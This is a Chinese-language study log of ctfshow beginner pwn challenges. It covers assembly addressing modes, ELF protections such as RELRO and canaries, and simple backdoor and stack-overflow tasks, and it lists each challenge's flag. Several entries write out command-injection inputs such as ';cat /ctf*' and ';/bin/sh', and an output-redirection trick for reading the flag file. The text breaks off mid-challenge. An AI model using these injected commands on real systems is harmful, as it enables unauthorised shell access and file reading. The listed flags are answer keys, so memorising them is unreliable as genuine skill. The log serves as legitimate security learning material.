放一波暑假的刷题记录
以下题目来源:ctfshow pwn入门

☁️ ✴︎📩 🩹

Test_your_nc 01~05

01 pwn0

🚩flag:ctfshow{f3fb4340-bbae-4ef1-ac35-e7668329b410}

💡hint:签到

题目描述:用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接

专用虚拟机镜像,全套在这里,提取码show

虚拟机镜像 用户名为ctfshow 密码是ctfshow

截屏2025-08-11 13.36.26

给了一个shell。

获取flag:

ls /
cat /ctfshow_flag

02 pwn1

🚩flag:ctfshow{4dd710b0-23c0-4a5e-bcb8-909ec3aa4e81}

💡hint:基础分析

使用nc pwn.challenge.ctf.show 28107连接上靶机,即可拿到flag。

程序直接执行了后门函数


03 pwn2

🚩flag:ctfshow{5c2dc31f-35e8-4df8-ba49-155c8529e01b}

💡hint:基础分析

题目描述:给你一个shell,这次需要你自己去获得flag

环境中提示用户手动执行后门函数获得flag。

cat /ctfshow_flag

04 pwn03

🚩flag:ctfshow{d0593e57-6c08-4666-b6f3-d35718fb6f59}

💡hint:基础分析

题目描述:哪一个函数才能读取flag?

![截屏2025-08-11 13.49.26](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 13.49.26.png)

  • system() 是 Linux 系统调用,可以直接执行 shell 命令。
  • cat /ctfshow_flag 会读取 /ctfshow_flag 文件的内容并输出到终端。

05 pwn4

🚩flag:ctfshow{0b4bf2e8-ec76-480f-8ffb-453184a07ea9}

💡hint:反编译 自动化路径求解

题目描述:或许需要先得到某个神秘字符

![截屏2025-08-11 13.53.15](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 13.53.15.png)

现在需要按照规范的流程来分析。

先checksec:

checksec 是一个用于检查二进制文件安全防护机制的工具,它能快速分析 ELF 可执行文件或共享库的安全属性,包括:

  • NX(堆栈不可执行):防止 shellcode 在栈上运行;
  • PIE(地址随机化):使代码段加载地址随机化,增加漏洞利用难度;
  • RELRO(重定位只读):保护 GOT 表不被篡改(Full RELRO 最安全);
  • Canary(栈保护):检测栈溢出攻击;
  • Fortify:对危险函数(如 strcpy)进行编译时加固。
    运行 checksec --file=程序名 即可查看防护状态,帮助评估漏洞利用的可行性。

![截屏2025-08-11 14.15.31](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 14.15.31.png)

可以看到是64位保护全开。

使用ida进行查看

![截屏2025-08-11 14.16.46](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 14.16.46.png)

大致流程如下:

首先将字符串 “CTFshowPWN” 复制到 s1 变量中。

接着,使用 puts 函数输出字符串 “find the secret !”。

紧接着,通过 __isoc99_scanf 函数从用户输入中读取一个字符串到 s2 变量中。

最后,通过 strcmp 函数比较 s1 和 s2 的内容是否相同。如果相同,则调用 execve_func 函 数。

跟进execve_func():

![截屏2025-08-11 14.18.12](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 14.18.12.png)

可以看到将字符串 “/bin/sh” 赋值给 argv 变量。

然后,将 v2 和 v3 初始化为 0。

通过调用 execve 系统调用来执行 /bin/sh shell。

因此这里的execve_func也就是我们所谓的一个后门函数了

所以根据主函数,我们需要输入的字符是:

CTFshowPWN

然后按照常规流程来获取flag即可。

![截屏2025-08-11 14.23.39](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 14.23.39.png)


06~35为前置基础系列

06 pwn5

🚩flag:ctfshow{0b4bf2e8-ec76-480f-8ffb-453184a07ea9}

💡hint:计组原理

题目描述:运行此文件,将得到的字符串以ctfshow{xxxxx}提交。

如:运行文件后 输出的内容为 Hello_World

提交的flag值为:ctfshow{Hello_World}

注意添加可执行权限:

![截屏2025-08-11 14.42.42](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 14.42.42.png)

添加外壳之后是ctfshow{Welcome_to_CTFshow_PWN}


07 pwn6

🚩flag:ctfshow{114514}

💡hint:计组原理

题目描述:立即寻址方式结束后eax寄存器的值为?

首先执行文件,结果跟上一题一样。

![截屏2025-08-11 15.08.48](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 15.08.48.png)

我们再来看源代码。

section .data
msg db "Welcome_to_CTFshow_PWN", 0

section .text
global _start

_start:

; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1

; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

; 直接寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx

; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax

; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax

; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax

; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax

; 输出字符串
mov eax, 4 ; 系统调用号4代表输出字符串
mov ebx, 1 ; 文件描述符1代表标准输出
mov ecx, msg ; 要输出的字符串的地址
mov edx, 22 ; 要输出的字符串的长度
int 0x80 ; 调用系统调用

; 退出程序
mov eax, 1 ; 系统调用号1代表退出程序
xor ebx, ebx ; 返回值为0
int 0x80 ; 调用系统调用

看懂注释,就是11+114504-1=114514

即flag:ctfshow{114514}


08 pwn7

🚩flag:ctfshow{0x36D}

💡hint:计组原理

题目描述:寄存器寻址方式结束后edx寄存器的值为?

题目文件相比还是和上一个题目一样。看到上一个题目的代码:

; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

故flag:ctfshow{0x36D}

内存中一般大写(?)


09 pwn8

🚩flag:ctfshow{0x80490E8}

💡hint:计组原理

题目描述:直接寻址方式结束后ecx寄存器的值为?

section .data
msg db "Welcome_to_CTFshow_PWN", 0


; 直接寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx

注意这里是msg的地址,不是msg本身。

ida中查看得到:0x80490E8

相关资料:

x86 汇编寻址方式详解

在你的代码中,展示了多种 x86 汇编寻址方式。以下是每种方式的详细说明和示例:

1. 立即寻址(Immediate Addressing)

特点:操作数直接编码在指令中(常数)。
用途​:用于赋值或算术运算。
示例​:

mov eax, 11      ; eax = 11(直接赋值)
add eax, 114504 ; eax += 114504
sub eax, 1 ; eax -= 1

2. 寄存器寻址(Register Addressing)

特点:操作数是寄存器。
用途​:快速寄存器间数据传递。
示例​:

mov ebx, 0x36d  ; ebx = 0x36d
mov edx, ebx ; edx = ebx

3. 直接寻址(Direct Addressing)

特点:操作数是内存地址(符号或绝对地址)。
用途​:访问全局变量或静态数据。
示例​:

mov ecx, msg    ; ecx = msg的地址(如 0x8049000)

4. 寄存器间接寻址(Register Indirect Addressing)

特点:操作数是寄存器指向的内存地址。
用途​:通过指针访问内存。
示例​:

mov esi, msg    ; esi = msg的地址
mov eax, [esi] ; eax = *esi(解引用)

⚠️ 注意:[] 表示解引用(类似 C 语言的 *)。

5. 寄存器相对寻址(Register Relative Addressing)

特点:寄存器 + 偏移量访问内存。
用途​:访问数组或结构体成员。
示例​:

mov ecx, msg    ; ecx = msg的地址
add ecx, 4 ; ecx += 4(偏移4字节)
mov eax, [ecx] ; eax = *ecx

相当于 eax = msg[4](假设 msg 是字符数组)。

6. 基址变址寻址(Base-Index Addressing)

特点基址寄存器 + 变址寄存器 * 比例因子
用途​:高效访问多维数组或复杂数据结构。
示例​:

mov ecx, msg      ; ecx = 基址(msg地址)
mov edx, 2 ; edx = 变址(索引2)
mov eax, [ecx + edx*2] ; eax = *(ecx + edx*2)

相当于 eax = msg[edx*2](假设每个元素占2字节)。

7. 相对基址变址寻址(Relative Base-Index Addressing)

特点基址寄存器 + 变址寄存器 * 比例因子 + 偏移量
用途​:灵活访问内存中的复杂结构。
示例​:

mov ecx, msg          ; ecx = 基址
mov edx, 1 ; edx = 变址
add ecx, 8 ; ecx += 8(基址偏移)
mov eax, [ecx + edx*2 - 6] ; eax = *(ecx + edx*2 - 6)

相当于 eax = msg[8 + edx*2 - 6]

8. 系统调用中的寻址应用

你的代码最后使用了 直接寻址 传递字符串地址:

mov eax, 4          ; sys_write 系统调用
mov ebx, 1 ; stdout
mov ecx, msg ; 字符串地址(直接寻址)
mov edx, 22 ; 字符串长度
int 0x80

这里 msg 是直接寻址,而 edx 是立即寻址。

寻址方式对比表

寻址方式 语法示例 等效 C 语言 典型用途
立即寻址 mov eax, 11 eax = 11; 常数赋值
寄存器寻址 mov edx, ebx edx = ebx; 寄存器间数据传递
直接寻址 mov ecx, msg ecx = &msg; 访问全局变量
寄存器间接寻址 mov eax, [esi] eax = *esi; 指针解引用
寄存器相对寻址 mov eax, [ecx+4] eax = *(ecx + 4); 数组/结构体访问
基址变址寻址 mov eax, [ecx+edx*2] eax = *(ecx + edx*2); 多维数组访问
相对基址变址寻址 mov eax, [ecx+edx*2-6] eax = *(ecx + edx*2 - 6); 复杂数据结构访问

为什么需要多种寻址方式?

  1. 灵活性:适应不同数据结构(如数组、链表、结构体)。
  2. 效率:基址变址寻址可减少指令数量(如循环遍历数组)。
  3. 可读性:直接映射高级语言的内存访问模式。

常见问题

Q1: 为什么 mov eax, [msg]mov eax, msg 结果不同?

  • mov eax, msg:将 msg 的地址存入 eax
  • mov eax, [msg]:将 msg 地址处的 存入 eax(解引用)。

Q2: 如何选择寻址方式?

  • 访问简单变量 → 直接寻址
  • 通过指针访问 → 寄存器间接寻址
  • 数组遍历 → 基址变址寻址

掌握这些寻址方式是理解汇编和逆向工程的基础! 🚀


10 pwn9

🚩flag:ctfshow{0x636C6557}

💡hint:计组原理 汇编基础

题目描述:寄存器间接寻址方式结束后eax寄存器的值为?

文件片段:

    msg db "Welcome_to_CTFshow_PWN", 0

; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax

![截屏2025-08-11 15.41.48](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 15.41.48.png)

![截屏2025-08-11 15.42.43](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 15.42.43.png)

![image-20250811154831715](/Users/serenius/Library/Application Support/typora-user-images/image-20250811154831715.png)


11 pwn10

🚩flag:ctfshow{ome_to_CTFshow_PWN}

💡hint:计组原理 汇编基础

题目描述:寄存器相对寻址方式结束后eax寄存器的值为?

section .data
msg db "Welcome_to_CTFshow_PWN", 0

section .text
global _start

_start:

; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1

; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

; 直接寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx

; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax

; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax

; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax

; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax

; 输出字符串
mov eax, 4 ; 系统调用号4代表输出字符串
mov ebx, 1 ; 文件描述符1代表标准输出
mov ecx, msg ; 要输出的字符串的地址
mov edx, 22 ; 要输出的字符串的长度
int 0x80 ; 调用系统调用

; 退出程序
mov eax, 1 ; 系统调用号1代表退出程序
xor ebx, ebx ; 返回值为0
int 0x80 ; 调用系统调用
; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax

这里将msg的地址(0x80490E8)+ 4 处所执向的地址的值赋给eax

0x80490E8+4=0x80490EC

ctfshow{ome_to_CTFshow_PWN}


12 pwn11

🚩flag:ctfshow{ome_to_CTFshow_PWN}

💡hint:计组原理 汇编基础

基址变址寻址方式结束后的eax寄存器的值为?

section .data
msg db "Welcome_to_CTFshow_PWN", 0

section .text
global _start

_start:

; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1

; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

; 直接寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx

; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax

; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax

; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax

; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax

; 输出字符串
mov eax, 4 ; 系统调用号4代表输出字符串
mov ebx, 1 ; 文件描述符1代表标准输出
mov ecx, msg ; 要输出的字符串的地址
mov edx, 22 ; 要输出的字符串的长度
int 0x80 ; 调用系统调用

; 退出程序
mov eax, 1 ; 系统调用号1代表退出程序
xor ebx, ebx ; 返回值为0
int 0x80 ; 调用系统调用
; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax

这里将msg的地址(0x80490E8) 复制给ecx

将2复制给edx,edx=2

eax=ecx+2*edx

=0x80490E8+4

=0x80490EC

ctfshow{ome_to_CTFshow_PWN}


13 pwn12

🚩flag:ctfshow{ome_to_CTFshow_PWN}

💡hint:计组原理 汇编基础

相对基址变址寻址方式结束后eax寄存器的值为?

section .data
msg db "Welcome_to_CTFshow_PWN", 0

section .text
global _start

_start:

; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1

; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

; 直接寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx

; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax

; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax

; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax

; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax

; 输出字符串
mov eax, 4 ; 系统调用号4代表输出字符串
mov ebx, 1 ; 文件描述符1代表标准输出
mov ecx, msg ; 要输出的字符串的地址
mov edx, 22 ; 要输出的字符串的长度
int 0x80 ; 调用系统调用

; 退出程序
mov eax, 1 ; 系统调用号1代表退出程序
xor ebx, ebx ; 返回值为0
int 0x80 ; 调用系统调用
; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax

ecx=0x80490E8

edx=1

ecx=ecx+8

=0x80490E8+8

=0x80490F0

eax=ecx+edx*2-6

=0x80490F0-4

=0x80490EC

ctfshow{ome_to_CTFshow_PWN}


14 pwn13

🚩flag:ctfshow{hOw_t0_us3_GCC?}

💡hint:二进制文件基础

gcc -o flag flag.c
./flag

![截屏2025-08-11 18.19.47](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 18.19.47.png)


15 pwn14

🚩flag:ctfshow{01000011_01010100_01000110_01110011_01101000_01101111_01110111_00001010}

💡hint:二进制文件基础

请你阅读以下源码,给定key为”CTFshow”,编译运行即可获得flag

#include <stdio.h>
#include <stdlib.h>

#define BUFFER_SIZE 1024

int main() {
FILE *fp;
unsigned char buffer[BUFFER_SIZE];
size_t n;
fp = fopen("key", "rb");
if (fp == NULL) {
perror("Nothing here!");
return -1;
}
char output[BUFFER_SIZE * 9 + 12];
int offset = 0;
offset += sprintf(output + offset, "ctfshow{");
while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) {
for (size_t i = 0; i < n; i++) {
for (int j = 7; j >= 0; j--) {
offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1);
}
if (i != n - 1) {
offset += sprintf(output + offset, "_");
}
}
if (!feof(fp)) {
offset += sprintf(output + offset, " ");
}
}
offset += sprintf(output + offset, "}");
printf("%s\n", output);
fclose(fp);
return 0;
}

所以需要先写入key文件,然后编译运行文件。

![截屏2025-08-11 18.38.07](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 18.38.07.png)


16 pwn15

🚩flag:ctfshow{@ss3mb1y_1s_3@sy}

💡hint:二进制文件基础

编译汇编代码到可执行文件,即可拿到flag

这段代码是一个使用 x86 汇编语言编写的程序,用于在标准输出上打印一串特定格式的字符串。 要将这段代码编译为可执行文件,使用汇编器和链接器进行以下步骤:

使用以下命令将汇编代码编译为目标文件:

nasm -f elf flag.asm -o flag.o

使用以下命令将目标文件链接为可执行文件:

ld -m elf_i386 -o flag flag.o

运行此文件:

./flag
截屏2025-08-11 18.44.53

17 pwn16

🚩flag:ctfshow{daniuniuda}

💡hint:二进制文件基础

使用gcc将其编译为可执行文件

.s 文件是汇编语言源文件的一种常见扩展名。它包含了使用汇编语言编写的程序代码。汇编语言是一种低级编程语言,用于直接操作计算机的指令集架构。 .s 文件通常由汇编器(Assembler)处

理,将其转换为可执行文件或目标文件。

可以使用 gcc 命令直接编译汇编语言源文件(.s文件)并将其链接为可执行文件。 gcc 命令具有适用于多种语言的编译器驱动程序功能,它可以根据输入文件的扩展名自动选择适当的编译器和链接器。

gcc -o flag flag.s
./flag
截屏2025-08-11 18.46.30

18 pwn17

🚩flag:ctfshow{8f284eaf-6fc1-4a4c-92ee-eca8a266d137}

💡hint:二进制文件基础 Linux基础命令的拼接

有些命令好像有点不一样?

不要一直等,可能那样永远也等不到flag

截屏2025-08-11 18.53.30
;cat /ctf*

为什么Payload能工作?

  1. 分号 ; 的作用
  • 在Linux中,; 用于分隔多个命令,无论前一个命令是否成功。
  • 例如:command1 ; command2 会依次执行 command1command2
  1. 通配符 \* 的作用
  • cat /ctf* 会匹配所有以 /ctf 开头的文件(如 /ctfshow_flag)。
  1. 输入长度限制(10字节)
  • ;cat /ctf*(9字节)和 ;/bin/sh(8字节)均满足长度限制。

19 pwn18

🚩flag:ctfshow{02c7e220-25e0-45bf-a1e1-5f58604d9cc9}

💡hint:二进制文件基础 Linux基础命令的拼接 逆向分析

仔细看看源码,或许有惊喜

假作真时真亦假,真作假时假亦真

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts(s);
puts(asc_B10);
puts(asc_B90);
puts(asc_C20);
puts(asc_CB0);
puts(asc_D38);
puts(asc_DD0);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Do you know redirect output ? ");
puts(" * ************************************* ");
puts("Which is the real flag?");
__isoc99_scanf("%d", &v4);
if ( v4 == 9 )
fake();
else
real();
system("cat /ctfshow_flag");
return 0;
}

假作真时真亦假,输入9是假,那么就是真flag。

截屏2025-08-11 19.01.39

20 pwn19

🚩flag:ctfshow{37005897-483d-4287-aff4-8f5ab17ba35a}

💡hint:二进制文件基础 逆向分析

关闭了输出流,一定是最安全的吗?

打开环境前先分析反编译源码:

int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts(s);
puts(asc_BF0);
puts(asc_C70);
puts(asc_D00);
puts(asc_D90);
puts(asc_E18);
puts(asc_EB0);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Turn off output, how to get flag? ");
puts(" * ************************************* ");
if ( fork() )
{
wait(0LL);
sleep(3u);
printf("flag is not here!");
}
else
{
puts("give you a shell! now you need to get flag!");
fclose(_bss_start);
read(0, buf, 0x20uLL);
system(buf);
}
return 0;
}

我们可以使用了 exec 函数来执行 sh命令,并使用 1>&0来进行输出重定向。这个命令将标准输出重定向到标准输入,实际上就是将命令的输出发送到后续命令的输入。

具体来说, 1>&0 中的 1 表示标准输出, 0 表示标准输入。通过将标准输出重定向到标准输入,可以实现将命令的输出作为后续命令的输入。这样可以在执行 sh命令后,进入一个交互式的Shell环境, 可以在该环境中执行命令并与用户进行交互。

也可以直接exec cat /ctf* 1>&0 将 cat /ctf*命令的输出发送到标准输入,实际上就是将命令的输 出再次输出到屏幕上。


21 pwn20

🚩flag:ctfshow{1_1_0x600f18_0x600f28}

💡hint:Linux安全机制

提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}

例如 .got可写.got.plt表可写其地址为0x400820 0x8208820

最终flag为ctfshow{1_1_0x400820_0x8208820}

若某个表不存在,则无需写其对应地址

如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}

RELRO(Relocation Read-Only)是一种ELF二进制保护机制,用于防止攻击者篡改动态链接过程中的关键内存区域(如GOT表)。它分为三种模式:

  1. No RELRO:GOT/PLT完全可写,极易被攻击;
  2. Partial RELRO:GOT部分只读(延迟绑定仍可写),中等防护;
  3. Full RELRO:启动时立即解析所有符号并完全锁定GOT为只读,提供最强保护但会略微增加启动时间。
    使用checksec可查看保护状态,安全场景建议开启Full RELRO(编译选项:-Wl,-z,relro -Wl,-z,now)。

先checksec一下:

checksec --file=pwn

![截屏2025-08-11 19.16.53](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 19.16.53.png)

没有RELRO保护,故.got和.got.plt都存在。

查看表的地址:

readelf -S pwn
截屏2025-08-11 19.44.14

故:ctfshow{1_1_0x600f18_0x600f28}


22 pwn21

🚩flag:ctfshow{0_1_0x600ff0_0x601000}

💡hint:Linux安全机制

checksec --file=pwn

部分防护。

![截屏2025-08-11 19.47.08](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 19.47.08.png)

查看表的地址:

readelf -S pwn

![截屏2025-08-11 19.47.53](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 19.47.53.png)

ctfshow{0_1_0x600ff0_0x601000}


23 pwn22

🚩flag:ctfshow{0_0_0x600fc0}

💡hint:Linux安全机制

checksec --file=pwn

![截屏2025-08-11 19.49.19](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 19.49.19.png)

Full RELRO:启动时立即解析所有符号并完全锁定GOT为只读,提供最强保护但会略微增加启动时间。

readelf -S pwn
截屏2025-08-11 19.51.24

在写.got表的时候就会抛出异常,而.got.plt不存在 故flag:ctfshow{0_0_0x600fc0}


24 pwn23

🚩flag:ctfshow{d9d1e78b-1dab-44d8-a705-6c8346051804}

💡hint:缓冲区溢出漏洞

用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接

ssh ctfshow@题目地址 -p题目端口号
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // eax
int v5; // [esp-Ch] [ebp-2Ch]
int v6; // [esp-8h] [ebp-28h]
int v7; // [esp-4h] [ebp-24h]
FILE *stream; // [esp+4h] [ebp-1Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);
v3 = getegid();
setresgid(v3, v3, v3, v5, v6, v7, v3);
puts(asc_8048940);
puts(asc_80489B4);
puts(asc_8048A30);
puts(asc_8048ABC);
puts(asc_8048B4C);
puts(asc_8048BD0);
puts(asc_8048C64);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : No canary found ");
puts(" * ************************************* ");
puts("How to input ?");
if ( argc > 1 )
ctfshow((char *)argv[1]);
return 0;
}
  1. 首先,程序尝试打开名为”/ctfshow_flag”的文件,并将文件指针赋值给 stream变量。如果打开文件失败(文件不存在或无法访问),程序输出错误消息并终止。

  2. 如果成功打开文件,程序使用 fgets 函数从文件中读取最多64个字符到名为 flag 的缓冲区。

  3. 程序输出提示消息: “How to input?”。

  4. 如果程序运行时传入了命令行参数( argc大于1),则调用 ctfshow 函数,并将第一个命令 行参数作为参数传递给该函数。

  5. ctfshow 函数很简单,它接受一个字符串参数 src ,并使用 strcpy 函数将该字符串复制到名 为 dest 的缓冲区中。然后,它返回指向 dest缓冲区的指针。

这里仅仅是为了演示当未开启Canary保护时,输入字符串长度超过了 dest 缓冲区的大小,这可能导致缓冲区溢出漏洞。

![截屏2025-08-11 20.03.33](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 20.03.33.png)


25~29 为栈溢出

25 pwn35

🚩flag:ctfshow{d5502ece-4e3a-45ec-9e5c-2c7f9ca78a09}

💡hint:栈溢出

正式开始栈溢出了,先来一个最最最最简单的吧

ctfshow{d5502ece-4e3a-45ec-9e5c-2c7f9ca78a09}

![截屏2025-08-11 20.11.02](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 20.11.02.png)

checksec --file=pwn

![截屏2025-08-11 20.12.43](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 20.12.43.png)

32位程序开启NX,部分开启RELRO 32位

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [esp+0h] [ebp-1Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);
puts(asc_8048910);
puts(asc_8048984);
puts(asc_8048A00);
puts(asc_8048A8C);
puts(asc_8048B1C);
puts(asc_8048BA0);
puts(asc_8048C34);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : See what the program does! ");
puts(" * ************************************* ");
puts("Where is flag?\n");
if ( argc <= 1 )
{
puts("Try again!");
}
else
{
ctfshow((char *)argv[1]);
printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]);
}
return 0;
}

打开”/ctfshow_flag” 文件,读取其中的内容,并根据命令行参数决定打印不同的消息。如果命令行 参数个数小于等于 1 ,则提示用户重试,否则调用 ctfshow 函数处理用户输入的命令行参数,并输出相关消息。

跟进ctfshow函数:

char *__cdecl ctfshow(char *src)
{
char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF

return strcpy(dest, src);
}

char dest: 声明一个名为 dest 的字符变量。 return strcpy(&dest, src): 使用 strcpy 函 数将 src 字符串复制到 dest 字符数组中,并返回指向 dest 的指针。 strcpy函数这个函数是一个典 型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出。

注意到signal(11, (__sighandler_t)sigsegv_handler);函数

当发生 对存储的无效访问时,会把stderr打印输出,即将flag的值打印输出

那么我们直接输入超长数据就会溢出,程序就会崩溃进而打印出flag


26 pwn36

🚩flag:ctfshow{8197d563-2f34-41d7-94b0-a2ae5fe8d0f0}

💡hint:栈溢出

存在后门函数,如何利用?

先来checksec

checksec --file=pwn

![截屏2025-08-11 20.17.29](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 20.17.29.png)

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

ida查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
